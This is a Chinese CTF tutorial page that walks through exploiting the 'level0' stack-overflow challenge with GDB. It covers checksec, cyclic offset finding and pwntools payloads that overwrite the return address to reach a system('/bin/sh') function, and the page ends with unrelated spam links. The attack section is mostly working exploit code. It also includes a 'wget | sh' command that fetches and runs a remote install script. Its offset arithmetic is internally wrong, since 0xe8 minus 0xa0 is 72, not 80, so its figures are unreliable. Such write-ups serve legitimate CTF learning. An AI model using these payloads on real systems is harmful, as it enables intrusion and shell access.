当前位置: 首页 > news >正文

别光看WriteUp了!手把手教你用GDB动态调试攻防世界PWN题(以level0为例)

别光看WriteUp了!手把手教你用GDB动态调试攻防世界PWN题(以level0为例)

在CTF竞赛中,PWN题往往是最能体现技术实力的环节。许多初学者习惯直接阅读现成的WriteUp,却忽略了动态调试这一核心技能。本文将以攻防世界新手区的经典题目level0为例,带你亲历从漏洞发现到利用的全过程,重点演示如何用GDB在运行时观察内存状态变化。

1. 环境准备与初步分析

首先下载题目提供的level0二进制文件,使用checksec检查防护机制:

checksec --file=level0

输出结果通常显示:

Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

关键信息:

  • NX enabled:栈不可执行,意味着不能直接注入shellcode
  • No canary:栈溢出时不会触发栈保护检测
  • No PIE:程序加载地址固定,便于计算偏移量

用IDA Pro快速静态分析,发现vulnerable_function中存在明显的栈溢出漏洞:

ssize_t vulnerable_function() { char buf[80]; // 0x50字节的缓冲区 return read(0, buf, 200); // 允许读取200字节 }

2. GDB调试基础配置

安装增强型GDB插件GEF(或Pwndbg),它们提供了更直观的内存显示功能:

wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh

启动调试环境:

gdb -q ./level0

在GDB中设置以下实用参数:

set disassembly-flavor intel # 使用Intel汇编语法 set follow-fork-mode child # 跟踪子进程 break *vulnerable_function # 在漏洞函数入口下断点

3. 关键断点设置与栈帧观察

运行程序并在关键位置设置断点:

break *vulnerable_function+25 # read函数调用前 break *vulnerable_function+30 # read函数返回后 commands 2 # 第二个断点的自动命令 x/40gx $rsp # 显示栈内容 info frame # 查看栈帧信息 continue end

当程序执行到read函数时,观察栈布局:

0x7fffffffe4a0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4b0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4c0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4d0: 0x0000000000000000 0x0000000000000000 0x7fffffffe4e0: 0x0000000000000000 0x00007fffffffe500

注意:

  • 缓冲区起始地址:0x7fffffffe4a0
  • 保存的RBP值:0x7fffffffe500
  • 返回地址位置:0x7fffffffe4e8

4. 构造payload与溢出验证

计算精确偏移量:

缓冲区地址:0x7fffffffe4a0 返回地址位置:0x7fffffffe4e8 偏移量 = 0xe8 - 0xa0 + 8 = 80 + 8 = 88字节

使用cyclic模式生成测试字符串:

pattern create 200

输入生成的字符串后,程序崩溃时观察寄存器:

Program received signal SIGSEGV, Segmentation fault. RIP: 0x6161616161616166

通过pattern offset计算:

pattern offset 0x6161616161616166 Exact match at offset 88

5. 动态跟踪执行流劫持

在IDA中确认后门函数地址:

void callsystem() { system("/bin/sh"); } // 地址:0x400596

构造payload并调试:

from pwn import * payload = b'A'*88 + p64(0x400596)

在GDB中实时验证:

run <<< $(python -c 'print "A"*88 + "\x96\x05\x40\x00\x00\x00\x00\x00"')

观察关键节点:

  1. read返回后栈数据变化
  2. 函数返回时RIP寄存器值变为0x400596
  3. 成功跳转到callsystem函数

6. 常见问题排错指南

Segmentation Fault可能原因:

  • 偏移量计算错误(需重新测量栈帧)
  • 地址未对齐(x64需16字节对齐)
  • 权限问题(检查NX是否影响)

GDB调试技巧:

# 查看内存映射 vmmap # 跟踪系统调用 catch syscall execve # 观察寄存器变化 telescope $rsp 20

EXP优化建议:

# 使用pwntools自动化 io = process('./level0') payload = flat({ 88: p64(0x400596) }) io.sendline(payload) io.interactive()

7. 拓展:其他调试场景应用

场景1:ASLR环境下调试

# 先泄漏地址 break *vulnerable_function continue info proc mappings # 计算实际偏移

场景2:有Canary保护时

# 在函数入口处记录Canary值 x/gx $rbp-0x8 # 构造payload时保持该值不变

场景3:ROP链构造验证

# 单步跟踪每个gadget stepi # 观察栈指针变化 print $rsp

掌握GDB动态调试技术后,面对复杂PWN题时不再需要盲目尝试。通过实时观察内存状态、验证漏洞假设,你能真正理解二进制漏洞的本质原理。记住,好的漏洞利用就像外科手术——精确计算每个字节的作用,这正是动态调试赋予我们的"X光透视"能力。

http://www.gsyq.cn/news/1479485.html

相关文章:

  • 用 AI 工具提升刷题效率:实战经验与工具链深度测评
  • 项目管理中的“二八法则”,你真的用对了吗?
  • MATLAB光学衍射仿真包:多缝远场、单缝近场与泰伯自成像三合一演示
  • 林芝手表回收包包回收哪家店铺靠谱价格高?26年甄选top榜店铺排行推荐 - 莘州文化
  • 摩托罗拉MotoSync+应用故障致WiFi路由器变砖,官方未作解释
  • 标题:曲靖闲置黄金变现这样卖最划算 - 润富黄金回收
  • 手机号查QQ:专业级Python实现与深度技术解析
  • 中国互联网从羊肠小道走来:从首封邮件到巨头崛起,早期创业者如何蛰伏前行?
  • 如何在Windows上实现免费、本地、实时的语音转文字:TMSpeech完整指南
  • 2026年毕业论文实测:降AIGC率靠指令还是工具?DeepSeek指令调优vs4大平台深度横评 - 降AI实验室
  • 柳州手表回收包包回收哪家店铺靠谱价格高?26年甄选top榜店铺排行推荐 - 莘州文化
  • 遵义卖金技巧与本地靠谱回收实测分享 - 余生黄金回收
  • 2026年6月官方公告:欧米茄中国区官方维修门店地址优化调整,实地核验排查、多渠道数据交叉验证真实有效 - 欧米茄中国服务中心
  • 梅州手表回收包包回收哪家店铺靠谱价格高?26年甄选top榜店铺排行推荐 - 莘州文化
  • 双非逆袭中科院软件所:我的保研实战经验与材料准备全攻略(2024最新版)
  • 抖音内容自动化管理:开源下载工具如何改变你的创作流程
  • 2026 南平厨卫屋面地下室漏水测评靠谱防水商家对比参考 - 吉修匠
  • Hugging Face Datasets实战四支柱:Streaming、Map、Concatenate、Metrics
  • 2026 西安卫生间漏水维修口碑好机构 TOP4:专业补漏企业盘点 专业防水公司排名推荐(2026年5月防水补漏最新TOP权威排名) - 冠盾建筑修缮
  • UE4项目直接调用RTSP/RTMP视频流与本地摄像头的OpenCV插件包
  • WarcraftHelper:魔兽争霸3玩家的终极游戏体验优化方案
  • 重庆欧米茄回收哪家方便?南岸区用户上门与到店参考 - 诚鑫名品
  • 股票代码查询工具开发实战:从零搭建一个本地数据库(SQLite + Python)
  • 终极Windows字体优化指南:3步让你的文字显示媲美Mac清晰度
  • 别再只会用普通词典了!用Python的NLTK库玩转WordNet,解锁单词的隐藏关系网
  • 魔兽争霸III终极优化:三分钟免费解决宽屏、卡顿、地图加载问题
  • 双非逆袭中科院软件所:我的保研材料准备与面试经验全记录(附时间线)
  • AI基础设施四柱论:算力、数据、工具链与分发渠道的卡位逻辑
  • 珠海本土连锁黄金上门回收全攻略 全城通用避坑科普与实测 - 余生黄金回收
  • 3步解决Windows C盘空间不足:开源工具Windows Cleaner实战指南